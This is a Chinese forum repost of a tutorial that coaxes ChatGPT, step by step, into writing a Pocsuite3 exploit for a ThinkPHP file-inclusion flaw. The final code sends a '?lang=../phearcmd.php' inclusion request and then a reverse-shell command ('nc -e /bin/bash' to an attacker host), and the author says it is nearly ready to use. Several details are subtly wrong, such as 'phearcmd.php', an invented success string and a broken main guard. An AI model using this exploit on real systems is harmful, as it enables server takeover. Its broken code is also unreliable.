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本帖最后由 luozhenni 于 2023-2-16 13:22 编辑
【超详细】ChatGPT & Pocsuite3梦幻联动快速编写EXP(建议收藏)
原文链接:【超详细】ChatGPT & Pocsuite3梦幻联动快速编写EXP(建议收藏)
aka_zz [url=]渗透Xiao白帽[/url] 2023-02-15 10:35 发表于北京
前言
这一模型可以与人类进行谈话般的交互,可以回答追问,连续性的问题,承认其回答中的错误,指出人类提问时的不正确前提,拒绝回答不适当的问题。
简单来说,ChatGPT是一个AI,能够分析我们题出的问题,并且对此做出解答。可以通过ChatGPT来分析代码,或者让其根据我们的需求写出相应的代码,如下。
编辑
所以,我就在想,能不能让它给我们编写poc,简化平时的一个工作,于是便有了这篇文章。
分析
我发现,ChatGPT缓存了当此询问的结果,当我们前后两个问题相似的时候,ChatGPT会去分析两个问题的一个相似度,如果相似度过高,则会返回上一次分析的结果。而且对于有歧义的语句,其处理结果误差比较大,所以我们可以一开始给出一个简单的语句,然后通过逐步的训练,让其结果更加符合我们的预期。
过程
原理
在一开始,最好向CG(ChatGPT的简称)提供漏洞的相关原理,但是由我们直接去叙述,其准确性比较低,因为语言存在歧义,那么,我们可以通过引导的方式,去让CG了解和漏洞有关的信息,比如ThinkPHP最新的漏洞原理是因为多语言模式的开启导致的文件包含,如果我们直接询问。
编辑
我们会发现,CG无法为我们解析出来,因为其实在这里lang_switch_on是config.php返回数组中的一个键名,准确来说并不是参数,所以这里解析才会出错。我们知道config.php会返回一个数组,但是CG因为并不会去解析config.php,所以在它并不觉得config.php会返回什么。
编辑
但是我们换一种方法,我们询问,
编辑
我们会发现,CG给出了我们一个流程,那么在这里,CG就记住了这一答案,当我们在漏洞原理中加入了这句话,那么CG就能正确解析。
分段
当我们直接通过一大段话让其给我们编写程序的时候,你会发现会有很多错误,如下。
编辑
根据我上面的发现,我突然想 ,我们可以先给出一个简单的需求,在后面不断基于之前给的答案,增加其准确度就行。如下。
首先,询问是否知道pocsuite,并要求给出一个例子。
编辑
- import pocsuite3
- from pocsuite3.api import requests as req
- from pocsuite3.api import register_poc
- from pocsuite3.api import Output, POCBase
- class TestPOC(POCBase):
- vulID = '12345'
- version = '1.0'
- author = 'test'
- vulDate = '2022-01-01'
- createDate = '2022-01-01'
- updateDate = '2022-01-01'
- references = ['https://example.com/vul/12345']
- name = 'Test POC'
- appPowerLink = 'https://example.com'
- appName = 'Test'
- appVersion = '1.0'
- vulType = 'Test Vul'
- desc = '''Test POC Description'''
- samples = ['']
- def _attack(self):
- # your code here
- pass
- def _verify(self):
- # your code here
- result = {}
- return self.parse_output(result)
- def parse_output(self, result):
- output = Output(self)
- # your code here
- return output
- def main():
- register_poc(TestPOC)
- if __name__ == '__main__':
- main()
复制代码
接着,添加对漏洞的描述,要求其改进。
- import pocsuite3
- from pocsuite3.api import requests as req
- from pocsuite3.api import register_poc
- from pocsuite3.api import Output, POCBase
- class ThinkPHP5_File_Inclusion(POCBase):
- vulID = '12345'
- version = '1.0'
- author = 'test'
- vulDate = '2022-01-01'
- createDate = '2022-01-01'
- updateDate = '2022-01-01'
- references = ['https://example.com/vul/12345']
- name = 'ThinkPHP5 File Inclusion Vulnerability'
- appPowerLink = 'https://thinkphp.cn'
- appName = 'ThinkPHP'
- appVersion = '5.0'
- vulType = 'File Inclusion'
- desc = '''
- This POC checks for a file inclusion vulnerability in ThinkPHP 5.0.
- To exploit this vulnerability, the LANG_SWITCH_ON value in the config.php file must be set to true,
- and a malicious lang parameter must be passed in the URL.
- '''
- samples = ['']
- def _attack(self):
- # your code here
- pass
- def _verify(self):
- result = {}
- # your code here
- return self.parse_output(result)
- def parse_output(self, result):
- output = Output(self)
复制代码 这时候,我们再添加一些信息。
编辑
- import pocsuite3
- from pocsuite3.api import requests as req
- from pocsuite3.api import register_poc
- from pocsuite3.api import Output, POCBase
- class ThinkPHP5_File_Inclusion(POCBase):
- vulID = '12345'
- version = '1.0'
- author = 'test'
- vulDate = '2022-12-09'
- createDate = '2022-12-09'
- updateDate = '2022-12-09'
- references = ['https://tttang.com/archive/1865/']
- name = 'ThinkPHP5 File Inclusion Vulnerability'
- appPowerLink = 'https://thinkphp.cn'
- appName = 'ThinkPHP'
- appVersion = '5.0'
- vulType = 'File Inclusion'
- desc = '''
- This POC checks for a file inclusion vulnerability in ThinkPHP 5.0.
- To exploit this vulnerability, the LANG_SWITCH_ON value in the config.php file must be set to true,
- and a malicious lang parameter must be passed in the URL. This can allow an attacker to include the
- phearcmd.php file and execute arbitrary commands.
- '''
- samples = ['']
- def _attack(self):
- # your code here
- pass
- def _verify(self):
- result = {}
- # your code here
- # send a request with a malicious lang parameter
- url = self.url + '?lang=../phearcmd.php'
- r = req.get(url)
- # check if the phearcmd.php file was included
- if 'PhearCommand execution' in r.text:
- result['VerifyInfo'] = {}
- result['VerifyInfo']['URL'] = url
- return self.parse_output(result)
- def parse_output(self, result):
- output = Output(self)
- if result:
- output.success(result)
- else:
- output.fail('The vulnerability could not be verified')
- return output
- def main():
- register_poc(ThinkPHP5_File_Inclusion)
- if name == 'main':
- main()
复制代码
最后,我们再补充一点。
编辑
- import pocsuite3
- from pocsuite3.api import requests as req
- from pocsuite3.api import register_poc
- from pocsuite3.api import Output, POCBase
- class ThinkPHP5_File_Inclusion(POCBase):
- vulID = '12345'
- version = '1.0'
- author = 'test'
- vulDate = '2022-12-09'
- createDate = '2022-12-09'
- updateDate = '2022-12-09'
- references = ['https://tttang.com/archive/1865/']
- name = 'ThinkPHP5 File Inclusion Vulnerability'
- appPowerLink = 'https://thinkphp.cn'
- appName = 'ThinkPHP'
- appVersion = '5.0'
- vulType = 'File Inclusion'
- desc = '''
- This POC checks for a file inclusion vulnerability in ThinkPHP 5.0.
- To exploit this vulnerability, the LANG_SWITCH_ON value in the config.php file must be set to true,
- and a malicious lang parameter must be passed in the URL. This can allow an attacker to include the
- phearcmd.php file and execute arbitrary commands, including a reverse shell.
- '''
- samples = ['']
- def _attack(self):
- # your code here
- # send a request with a malicious lang parameter to include phearcmd.php
- url = self.url + '?lang=../phearcmd.php'
- r = req.get(url)
- # check if the phearcmd.php file was included
- if 'PhearCommand execution' in r.text:
- # send a request to execute a reverse shell command
- command = 'php -r "system(\'nc -e /bin/bash {0} {1}\');"'.format(self.options.get('lhost'), self.options.get('lport'))
- url = self.url + '?phearcmd=' + command
- req.get(url)
- def _verify(self):
- result = {}
- # your code here
- return self.parse_output(result)
- def parse_output(self, result):
- output = Output(self)
- # no output is necessary for this POC
- return output
- def main():
- register_poc(ThinkPHP5_File_Inclusion)
- if name == 'main':
- main()
复制代码
到这里,基本上就可以拿来改改就能直接使用了。
结论
通过以上的利用和分析,我们能感受到CG的一个强大,当CG对于我们的一个问题的解决结果误差较大的时候,我们可以逐步进行求解,让其引擎对结果进行不断的修正,这样最终的结果误差较小。以上只是一个简单的案例,还有更多的可能等待挖掘。
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